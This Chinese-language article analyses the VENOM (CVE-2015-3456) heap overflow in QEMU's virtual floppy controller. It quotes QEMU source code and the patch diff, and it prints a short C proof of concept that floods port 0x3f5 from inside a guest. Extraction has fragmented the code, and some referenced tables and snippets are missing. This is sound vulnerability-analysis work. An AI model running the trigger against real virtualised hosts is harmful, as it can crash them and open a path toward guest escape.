作者:progmboy、noirfate、cyg07
CrowdStrike的Jason Geffner发现开源计算机仿真器QEMU中存在一个和虚拟软盘控制器相关的安全漏洞,代号VENOM,CVE编号为CVE-2015-3456。利用此漏洞攻击者可以在有问题的虚拟机中进行逃逸,并且可以在宿主机中获得代码执行的权限。更多详情见作者博客[1]
此漏洞位于qemu的虚拟软驱控制器的模拟代码中。下面介绍几个关于软驱的几个重要的地方。
软驱控制器是由9个寄存器进行控制的,这些寄存器可以通过端口0x3f0-0x3f7进行访问(0x3f6除外[2])。软驱控制器寄存器的定义如下:
漏洞相关的寄存器是DATA_FIFO。
同时软驱控制器的MSR标记位表明当时软驱控制器的状态。此次漏洞相关的MSR标记位的定义如下表:
命令是向DATA_FIFO写入的一个小于32的单字节的值,每个命令后面都要跟着一些指定长度的参数。命令的ID定义如下所示:
更多见 OSDev wiki 上的关于软驱控制器的文章
国外一名安全研究者Marcus Meissner发布了此漏洞poc如下:
我们可以看到,都是向DATA_FIFO端口写入数据,笔者拿到poc先在自己的机器上测试发现poc并不能触发,先不管原因,我们先来分析下qemu对FIFO命令的处理。
经过分析,我们可以得出其流程如下: 首先qemu将FIFO的处理函数以及命令对应的参数个数等信息存放在一个表中 ,如下所示:
1.
static
const
struct
{
2. uint8_t value;
3. uint8_t mask;
4.
const
char
* name;
5.
int
parameters;
6.
void
(*handler)(FDCtrl *fdctrl,
int
direction);
7.
int
direction;
8. } handlers[] = {
9. { FD_CMD_READ, 0x1f,
"READ"
, 8, fdctrl_start_transfer, FD_DI
R_READ },
10. { FD_CMD_WRITE, 0x3f,
"WRITE"
, 8, fdctrl_start_transfer, FD_DI
R_WRITE },
11. { FD_CMD_SEEK, 0xff,
"SEEK"
, 2, fdctrl_handle_seek },
12. { FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATU
S", 0, fdctrl_handle_sense_interrupt_status },
13. { FD_CMD_RECALIBRATE, 0xff,
"RECALIBRATE"
, 1, fdctrl_handle_re
calibrate },
14. { FD_CMD_FORMAT_TRACK, 0xbf,
"FORMAT TRACK"
, 5, fdctrl_handl
e_format_track },
15. { FD_CMD_READ_TRACK, 0xbf,
"READ TRACK"
, 8, fdctrl_start_trans
fer, FD_DIR_READ },
16. { FD_CMD_RESTORE, 0xff,
"RESTORE"
, 17, fdctrl_handle_restore
},
/* part of READ DELETED DATA */
17. { FD_CMD_SAVE, 0xff,
"SAVE"
, 0, fdctrl_handle_save },
/* part
of READ DELETED DATA */
18. { FD_CMD_READ_DELETED, 0x1f,
"READ DELETED DATA"
, 8, fdctrl_st
art_transfer_del, FD_DIR_READ },
19. { FD_CMD_SCAN_EQUAL, 0x1f,
"SCAN EQUAL"
, 8, fdctrl_start_trans
fer, FD_DIR_SCANE },
20. { FD_CMD_VERIFY, 0x1f,
"VERIFY"
, 8, fdctrl_start_transfer, F
D_DIR_VERIFY },
21. { FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f,
"SCAN LOW OR EQUAL"
, 8, fdct
rl_start_transfer, FD_DIR_SCANL },
22. { FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f,
"SCAN HIGH OR EQUAL"
, 8, fd
ctrl_start_transfer, FD_DIR_SCANH },
23. { FD_CMD_WRITE_DELETED, 0x3f,
"WRITE DELETED DATA"
, 8, fdctr
l_start_transfer_del, FD_DIR_WRITE },
24. { FD_CMD_READ_ID, 0xbf,
"READ ID"
, 1, fdctrl_handle_readid },
25. { FD_CMD_SPECIFY, 0xff,
"SPECIFY"
, 2, fdctrl_handle_specify },
26. { FD_CMD_SENSE_DRIVE_STATUS, 0xff,
"SENSE DRIVE STATUS"
, 1, fd
ctrl_handle_sense_drive_status },
27. { FD_CMD_PERPENDICULAR_MODE, 0xff,
"PERPENDICULAR MODE"
, 1, fd
ctrl_handle_perpendicular_mode },
28. { FD_CMD_CONFIGURE, 0xff,
"CONFIGURE"
, 3, fdctrl_handle_config
ure },
29. { FD_CMD_POWERDOWN_MODE, 0xff,
"POWERDOWN MODE"
, 2, fdctrl_han
dle_powerdown_mode },
30. { FD_CMD_OPTION, 0xff,
"OPTION"
, 1, fdctrl_handle_option },
31. { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATI
ON COMMAND", 5, fdctrl_handle_drive_specification_command },
32. { FD_CMD_RELATIVE_SEEK_OUT, 0xff,
"RELATIVE SEEK OUT"
, 2, fdct
rl_handle_relative_seek_out },
33. { FD_CMD_FORMAT_AND_WRITE, 0xff,
"FORMAT AND WRITE"
, 10, fdctr
l_unimplemented },
34. { FD_CMD_RELATIVE_SEEK_IN, 0xff,
"RELATIVE SEEK IN"
, 2, fdctr
l_handle_relative_seek_in },
35. { FD_CMD_LOCK, 0x7f,
"LOCK"
, 0, fdctrl_handle_lock },
36. { FD_CMD_DUMPREG, 0xff,
"DUMPREG"
, 0, fdctrl_handle_dumpreg },
37. { FD_CMD_VERSION, 0xff,
"VERSION"
, 0, fdctrl_handle_version },
38. { FD_CMD_PART_ID, 0xff,
"PART ID"
, 0, fdctrl_handle_partid },
39. { FD_CMD_WRITE, 0x1f,
"WRITE (BeOS)"
, 8, fdctrl_start_transfe
r, FD_DIR_WRITE },
/* not in specification ; BeOS 4.5 bug */
40. { 0, 0,
"unknown"
, 0, fdctrl_unimplemented },
/* default handl
er */
41. };
表的每一项都定义了相应命令的一些信息,这里我们将被一项称为一个Handler下同。当qemu接收到FIFO命令之后,通过命令的ID找到这个命令的Handler,然后再根据这个Handler中保存的参数的个数来继续接收参数。并将命令ID和参数放在一个buffer中。在接受完参数后调用相应的处理函数。整个FIFO写操作派发流程都是在函数fdctrl_write_data里。
1.
static
void
fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
2. {
3. ...
4.
5.
//
6.
// 这里对msr的状态进行检查.见背景知识中的msr一段.
7.
// 这里必须FD_MSR_RQM置位,就是说控制器已经准备好交换数据了
8.
// FD_MSR_DIO必须置0,说明控制器不能处在要被读的状态
9.
//
10.
11.
if
(!(fdctrl‐>msr & FD_MSR_RQM) || (fdctrl‐>msr & FD_MSR_DIO))
{
12. FLOPPY_DPRINTF("error: controller not ready
for
writin
g/n");
13.
return
;
14. }
15.
16.
//
17.
// 如果参数为0说明此次为命令字节。这里通过命令ID找到相应的
18.
// Handler.获取参数的个数
19.
//
20.
21.
if
(fdctrl‐>data_pos == 0) {
22. pos = command_to_handler[value & 0xff];
23. FLOPPY_DPRINTF(
"%s command/n"
, handlers[pos].name);
24.
25.
//
26.
// 获取参数个数
27.
// +1是为了加上command id
28.
//
29.
30. fdctrl‐>data_len = handlers[pos].parameters + 1;
31. fdctrl‐>msr |= FD_MSR_CMDBUSY;
32. }
33. ...
34.
35.
//
36.
// 将传入字节保存到fdctrl‐>fifo这个buffer中.
37.
//
38.
39. fdctrl‐>fifo[fdctrl‐>data_pos++] = value;
40.
41.
//
42.
// 判断参数是否已经保存完成,如果参数保存完成就调用相应的处理函数
43.
//
44.
45.
if
(fdctrl‐>data_pos == fdctrl‐>data_len) {
46. pos = command_to_handler[fdctrl‐>fifo[0] & 0xff];
47. (*handlers[pos].handler)(fdctrl, handlers[pos].direction);
48. }
49. }
在处理函数中如果有返回的数据。控制器模拟代码则调用fdctrl_set_fifo这个函数来设置MSR的状态为FD_MSR_DIO,已表示控制器处在可被读状态。注意:设置完以后控制器是不可读的见fdctrl_write_data开始的那个检查。fdctrl_set_fifo代码如下:
如果没有要返回的数据或者返回的数据已经被客户机通过IN指令读取完了,则会调用fdctrl_reset_fifo来重置FIFO。即将FIFO置为可写状态。fdctrl_reset_fifo:
通过以上流程的分析,我们再来看Marcus Meissner公布的poc的流程:
首先发送一个id为0xa的控制命令。我们可以看到id为0xa的命令为FD_CMD_READ_ID,其对应的处理函数为fdctrl_handle_readid,参数个数为1个。
之后又会写入一个0x42作为READ_ID命令的参数。接下来进入到fdctrl_handle_readid函数内。经过笔者调试fdctrl_handle_readid这个函数启动了一个定时器。在定时器被触发的时候程序调用了fdctrl_set_fifo来生成返回数据。所以接下来的向FIFO写0x42的操作完全没有用,被fdctrl_write_data开始的fdctrl->msr & FD_MSR_DIO这个检查给拦下了。所以这个poc在笔者的机器上并不能触发。
我们先来看下补丁的代码:
1. ‐‐‐ a/hw/block/fdc.c
2. +++ b/hw/block/fdc.c
3. @@ ‐1497,7 +1497,7 @@
static
uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
4. {
5. FDrive *cur_drv;
6. uint32_t retval = 0;
7. ‐
int
pos;
8. + uint32_t pos;
9.
10. cur_drv = get_cur_drv(fdctrl);
11. fdctrl‐>dsr &= ~FD_DSR_PWRDOWN;
12. @@ ‐1506,8 +1506,8 @@
static
uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
13.
return
0;
14. }
15. pos = fdctrl‐>data_pos;
16. + pos %= FD_SECTOR_LEN;
17.
if
(fdctrl‐>msr & FD_MSR_NONDMA) {
18. ‐ pos %= FD_SECTOR_LEN;
19.
if
(pos == 0) {
20.
if
(fdctrl‐>data_pos != 0)
21.
if
(!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
22. @@ ‐1852,10 +1852,13 @@
static
void
fdctrl_handle_option(FDCtrl *f
dctrl,
int
direction)
23.
static
void
fdctrl_handle_drive_specification_command(FDCtrl *fdc
trl,
int
direction)
24. {
25. FDrive *cur_drv = get_cur_drv(fdctrl);
26. + uint32_t pos;
27.
28. ‐
if
(fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) {
29. + pos = fdctrl‐>data_pos ‐ 1;
30. + pos %= FD_SECTOR_LEN;
31. +
if
(fdctrl‐>fifo[pos] & 0x80) {
32.
/* Command parameters done */
33. ‐
if
(fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) {
34. +
if
(fdctrl‐>fifo[pos] & 0x40) {
35. fdctrl‐>fifo[0] = fdctrl‐>fifo[1];
36. fdctrl‐>fifo[2] = 0;
37. fdctrl‐>fifo[3] = 0;
38. @@ ‐1955,7 +1958,7 @@
static
uint8_t command_to_handler[256];
39.
static
void
fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
40. {
41. FDrive *cur_drv;
42. ‐
int
pos;
43. + uint32_t pos;
44.
45.
/* Reset mode */
46.
if
(!(fdctrl‐>dor & FD_DOR_nRESET)) {
47. @@ ‐2004,7 +2007,9 @@
static
void
fdctrl_write_data(FDCtrl *fdctr
l, uint32_t value)
48. }
49.
50. FLOPPY_DPRINTF(
"%s: %02x/n"
, __func__, value);
51. ‐ fdctrl‐>fifo[fdctrl‐>data_pos++] = value;
52. + pos = fdctrl‐>data_pos++;
53. + pos %= FD_SECTOR_LEN;
54. + fdctrl‐>fifo[pos] = value;
55.
if
(fdctrl‐>data_pos == fdctrl‐>data_len) {
56. /* We now have all parameters
57. * and will be able to treat the command
可以看到基本上就是补了一些对fdctrl->fifo这个buffer下标的一些防止越界的操作。我们可以肯定这个肯定是个写越界操作了。按照这个思路我们查看了所有命令的处理函数,发现FD_CMD_DRIVE_SPECIFICATION_COMMAND的处理函数有问题。先看下FD_CMD_DRIVE_SPECIFICATION_COMMAND命令的Handler,如下:
命令处理函数为fdctrl_handle_drive_specification_command,参数个数为5。再来看下fdctrl_handle_drive_specification_command函数的实现:
我们找到fdctrl->data_len > 7这个判断是有问题的。我们从fdctrl_write_data这个函数开始,首先传进命令字节FD_CMD_DRIVE_SPECIFICATION_COMMAND,然后依次传进5个参数。按照fdctrl_write_data的流程进入处理函数fdctrl_handle_drive_specification_command时fdctrl->data_len 应该是6,所以我们让fdctrl_handle_drive_specification_command的第一个判断里fdctrl->fifo[fdctrl->data_pos – 1]是我们可控的再加上下面的这个fdctrl->data_len > 7这个判断也为否,就绕过了所有调用fdctrl_set_fifo和fdctrl_reset_fifo的地方就是控制器的状态还是可写,而且buffer没有被清空。然后我们就可以无限次向fdctrl->fifo里写入数据,从而超出fdctrl->fifo的边界造成越界写。
fdctrl->fifo的初始化是在fdctrl_realize_common里面:
static
void
fdctrl_realize_common(FDCtrl *fdctrl, Error **errp){
//
// qemu_memalign最终会调用malloc分配内存
//
fdctrl‐>fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl‐>fifo_size = 512;
}
#include <sys/io.h>
#define FIFO 0x3f5
int
main() {
int
i;
iopl(3);
outb(0x8e,0x3f5);
/* READ ID */
for
(i=0;i<10000000;i++)
outb(0x42,0x3f5);
/* push */
}
linux guest:
windows guest:
这个漏洞为典型的堆溢出漏洞,其表现形式为越界写操作。 此漏洞的利用可能还是很大的。另外即使虚拟机没有设置软驱,其漏洞还是无法避免的。鉴于该漏洞属于高危漏洞,建议尽快在源码层面上对QEMU实现补丁升级。
[1]此漏洞原作者博客 http://venom.crowdstrike.com/
[2] IO端口0x3F6是ATA(硬盘)备用状态寄存器,并且不使用任何软盘控制器。